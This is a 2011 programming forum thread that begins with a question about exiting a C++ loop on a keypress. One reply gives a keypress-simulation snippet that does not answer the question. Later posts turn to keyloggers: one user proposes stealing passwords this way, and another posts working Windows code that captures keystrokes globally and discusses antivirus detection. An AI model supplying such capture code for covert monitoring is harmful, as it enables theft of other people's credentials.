Page 1 of 1
How to monitor key stroke ?
Posted: Tue Jun 28, 2011 10:37 am
by RAT16F88
Dear EXPERTS,
In a program with a loop like >
Code: Select all
#include <cstdlib>
#include <iostream>
#include <Windows.h>
using namespace std;
int i ;
int main(int argc, char *argv[])
{
do{
i = rand();
printf("%d \n", i ) ;
Sleep(1000);
Beep(3000,50);
} while (1);
system("PAUSE");
return EXIT_SUCCESS;
}
How to add a line in the loop to exit it with a key stroke ?
thanks and regards
Re: How to monitor key stroke ?
Posted: Tue Jun 28, 2011 11:18 am
by Neo
If you are using Visual C++, check this out. The trick is
_kbhit() under conio.h.
ADVICE: Please maintain indents (tabs) which is a good programming practice. Notice the tabs I maintained for the loop.
Code: Select all
#include <stdio.h>
#include <conio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
int i;
do{
i = rand();
printf("%d \n", i ) ;
Sleep(1000);
Beep(3000,50);
} while (!_kbhit());
system("PAUSE");
return EXIT_SUCCESS;
}
If you are using Dev C++, you need to use something as follows. I don't have the IDE to test, so you need to play a bit with it.
Code: Select all
#include <windows.h>
int main(void )
{
keybd_event(VkKeyScan('y'), 0, 0, 0);
keybd_event(VkKeyScan('y'), 0, KEYEVENTF_KEYUP, 0);
keybd_event(VkKeyScan('q'), 0, 0, 0);
keybd_event(VkKeyScan('q'), 0, KEYEVENTF_KEYUP, 0);
// or alternatively...
keybd_event(0x59, 0, 0, 0);
keybd_event(0x59, 0, KEYEVENTF_KEYUP, 0);
keybd_event(0x51, 0, 0, 0);
keybd_event(0x51, 0, KEYEVENTF_KEYUP, 0);
return 0;
}
Re: How to monitor key stroke ?
Posted: Tue Jun 28, 2011 11:08 pm
by Face
Ahhh.Nice Idea.I was thinking about this program.
With this we can get any ones passwords usernames etc..that was the idea I was thinking.This is a really easy way to steal those passwords.If we can make this program to get these key strokes to notepad file or any.we can get some fun on that.
(Hope NEO & others will not misunderstand me & my crazy ideas
That was the way I got this thing in my mind few months ago.This is nothing to harm any one,Just a idea.
)
Re: How to monitor key stroke ?
Posted: Tue Jun 28, 2011 11:20 pm
by Rksk
Ones I tried to make a key logger (Only for learning). Kaspersky detected it as a suspecious activity at the 1st ran. I think, there isn't any antivirus programe like Kaspersky witch detects activities of programes.
[ Post made via Mobile Device ]
Re: How to monitor key stroke ?
Posted: Sun Jul 03, 2011 9:08 pm
by Enigma
Hi
Here is another way. I used GetAsyncKeyState(int key) which is a system level API . The link below will give you more details about it. Guys this is a very common method. So its not that stealthy. Kaspersky (I used kaspersky 2011) can detect this
. Note that this function can trace keys globally. So even this program is minimized it can detect key strokes .
GetAsyncKeyState(int key) -
http://msdn.microsoft.com/en-us/library ... 85%29.aspx
Code: Select all
#include <stdio.h>
#include <windows.h>
int get_keys(void);
int main()
{
get_keys();
return 0;
}
int get_keys(void)
{
short character;
char* key =NULL;
while(1)
{
for(character=8;character<=200;character++)
{
if(GetAsyncKeyState(character)==0xFFFF8001)
{
if((character>=39)&&(character<91))
{
printf("%c pressed\n",character);
break;
}
else
{
switch(character)
{
case VK_SPACE:
printf("[SPACE] pressed\n");
break;
case VK_SHIFT:
printf("[SHIFT] pressed\n");
break;
case VK_RETURN:
printf("[ENTER] pressed\n");
break;
case VK_BACK:
printf("[BACKSPACE] pressed\n");
break;
case VK_TAB:
printf("[TAB] pressed\n");
break;
case VK_CONTROL:
printf("[CTRL] pressed\n");
break;
case VK_DELETE:
printf("[DEL] pressed\n");
break;
case VK_NUMPAD0:
printf("0 pressed\n");
break;
case VK_NUMPAD1:
printf("1 pressed\n");
break;
case VK_NUMPAD2:
printf("2 pressed\n");
break;
case VK_NUMPAD3:
printf("3 pressed\n");
break;
case VK_NUMPAD4:
printf("4 pressed\n");
break;
case VK_NUMPAD5:
printf("5 pressed\n");
break;
case VK_NUMPAD6:
printf("6 pressed\n");
break;
case VK_NUMPAD7:
printf("7 pressed\n");
break;
case VK_NUMPAD8:
printf("8 pressed\n");
break;
case VK_NUMPAD9:
printf("9 pressed\n");
break;
case VK_CAPITAL:
printf("[CAPS LOCK] pressed\n");
break;
default:
break;
}
}
}
}
}
return 0;
}